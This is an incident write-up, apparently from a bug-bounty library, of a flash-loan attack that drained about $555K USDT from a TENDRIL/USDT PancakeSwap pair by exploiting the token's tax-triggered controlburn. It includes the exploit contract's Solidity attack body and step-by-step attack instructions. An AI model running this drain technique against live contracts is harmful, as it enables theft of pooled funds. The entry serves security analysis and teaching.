# TENDRIL: tax-triggered controlburn drains USDT pair

TENDRIL's 30% sell tax auto-triggered controller sellToken/controlburn, letting a flash-loan attacker skew the pair then drain its ~$555K USDT reserve.

- Payout: Real-world hack
- Severity: high
- Program: TENDRIL
- Analysis by: DeFiHackLabs
- Disclosed: 2026-11-04
- Write-up quality: 8/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2026-11/TENDRIL_exp.sol
- Library page: https://bugbountylibrary.com/r/dhl%3A20261104-tendril
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:high tech:evm tech:solidity technique:chained technique:source-review vuln:business-logic vuln:flash-loan vuln:oracle-manipulation

**Target:** TENDRIL token _transfer tax hook and USDT/TENDRIL PancakeSwap pair
**Root cause:** TENDRIL._transfer taxes non-privileged sells into the pair 30% and as a side effect calls _poolControl.sellToken(), which dumps the controller's TENDRIL and controlburns the pair's reserve by ~2x the sell amount with no price or reserve guard, trusting live spot price.
**Steps:**
1. Flash-take 30,641,402 USDT from PancakeSwap Infinity Vault via `VAULT.take(address(USDT), address(this), FLASH)` inside `lockAcquired`.
2. Buy TENDRIL ammo through unrestricted USDT->FLAP->TENDRIL route with `swapExactTokensForTokensSupportingFeeOnTransferTokens(AMMO_USDT, 0, p1, ...)`.
3. Skew the USDT/TENDRIL pair with a 4,097,517 USDT buy routed to `POOL_CONTROL`; token forces pair's TENDRIL output to controller, pumping USDT reserve to ~4.65M.
4. Sell all TENDRIL back in one swap; 30% tax auto-calls `sellToken()`, dumping controller TENDRIL and controlburning pair reserve to dust; untaxed 70% swaps against ~0 TENDRIL and extracts nearly all USDT.
5. Repay flash loan in same lock via `VAULT.sync(address(USDT))`, `USDT.transfer(address(VAULT), FLASH)`, `VAULT.settle()`.
**How found:** Reading verified TENDRIL.sol revealed the _transfer tax branch calling IPancakeFactory(_poolControl).sellToken(amount) as a side effect of any non-privileged sell into the pair, with no price/reserve guard; the attacker recognized this auto-liquidation could be weaponized by skewing the pair first.
**Exploitation:** Attacker pre-positioned ~33.06B TENDRIL bought permissionlessly over ~11 days from an unrestricted secondary pool, then in one tx flash-borrowed 30.6M USDT, bought ammo, skewed the pair with a 4.1M USDT buy forcing TENDRIL to the controller, and one taxed sell triggered sellToken/controlburn wiping the pair's TENDRIL reserve so the untaxed remainder swept the pair's USDT. Loan repaid same lock; net profit 308,959 USDT.
**Escalation:** Single taxed sell chained the transfer-tax hook into controller auto-liquidation and controlburn, collapsing the pair reserve to near-zero so the untaxed 70% extracted the full USDT balance.
**Insight:** When a token's transfer tax calls out to a controller that dumps/burns reserves based on live spot price, a single taxed sell after a large skew can collapse the reserve; check whether the tax hook is attacker-triggerable and whether the controller trusts spot price without a guard.

## Proof of concept (copied exactly from the original report)

**Exploit contract attack body with flash loan and swaps**

```
function attack() external {
        VAULT.lock("");
    }

    // PancakeSwap Infinity Vault lock callback (the attack body).
    function lockAcquired(bytes calldata) external returns (bytes memory) {
        require(msg.sender == address(VAULT), "not vault");

        // Flash-take 30.64M USDT from the Vault; settled at the end of this lock.
        VAULT.take(address(USDT), address(this), FLASH);

        USDT.approve(address(ROUTER), type(uint256).max);
        TENDRIL.approve(address(ROUTER), type(uint256).max);

        // 1. Buy TENDRIL ammo via the unrestricted USDT -> FLAP -> TENDRIL route.
        address[] memory p1 = new address[](3);
        p1[0] = address(USDT);
        p1[1] = FLAP;
        p1[2] = address(TENDRIL);
        ROUTER.swapExactTokensForTokensSupportingFeeOnTransferTokens(AMMO_USDT, 0, p1, address(this), block.timestamp);

        // 2. Skew the USDT/TENDRIL pair: the token routes the bought TENDRIL to _poolControl and the
        //    pair's USDT reserve is pumped.
        address[] memory p2 = new address[](2);
        p2[0] = address(USDT);
        p2[1] = address(TENDRIL);
        ROUTER.swapExactTokensForTokensSupportingFeeOnTransferTokens(SKEW_USDT, 0, p2, POOL_CONTROL, block.timestamp);

        // 3. Sell all TENDRIL back into the pair. The 30% tax auto-calls _poolControl.sellToken(),
        //    which dumps the controller's TENDRIL and controlburns the pair reserve to dust; the
        //    untaxed 70% then swaps against ~0 TENDRIL and extracts nearly the entire USDT reserve.
        address[] memory p3 = new address[](2);
        p3[0] = address(TENDRIL);
        p3[1] = address(USDT);
        ROUTER.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            TENDRIL.balanceOf(address(this)), 0, p3, address(this), block.timestamp
        );

        // Repay the flash loan inside the same lock.
        VAULT.sync(address(USDT));
        USDT.transfer(address(VAULT), FLASH);
        VAULT.settle();

        return "";
    }
```

